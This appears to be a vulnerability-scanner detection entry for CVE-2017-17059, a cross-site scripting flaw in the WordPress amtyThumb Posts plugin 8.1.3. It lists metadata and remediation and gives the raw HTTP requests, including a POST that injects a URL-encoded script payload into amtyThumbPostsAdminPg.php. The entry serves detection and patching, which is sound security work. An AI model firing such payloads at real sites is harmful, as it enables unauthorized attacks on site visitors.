| Title | WordPress amtyThumb Posts 8.1.3 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser. |
| Remediation | Update to the latest version of amtyThumb Posts plugin or apply the patch provided by the vendor. |
| CVSS Score | 6.1 |
| EPSS Score | 0.00709 |
| CVE ID | CVE-2017-17059 |
| CWE ID | CWE-79 |
| Tags | cve2017 cve xss wp-plugin packetstorm wordpress amtythumb_project vuln |
WordPress amty-thumb-recent-post plugin 8.1.3 contains a cross-site scripting vulnerability via the query string to amtyThumbPostsAdminPg.php.
GET /wp-content/plugins/amty-thumb-recent-post/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Version/16.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /wp-content/plugins/amty-thumb-recent-post/amtyThumbPostsAdminPg.php?%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25
Connection: close
Content-Length: 13
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
amty_hidden=1
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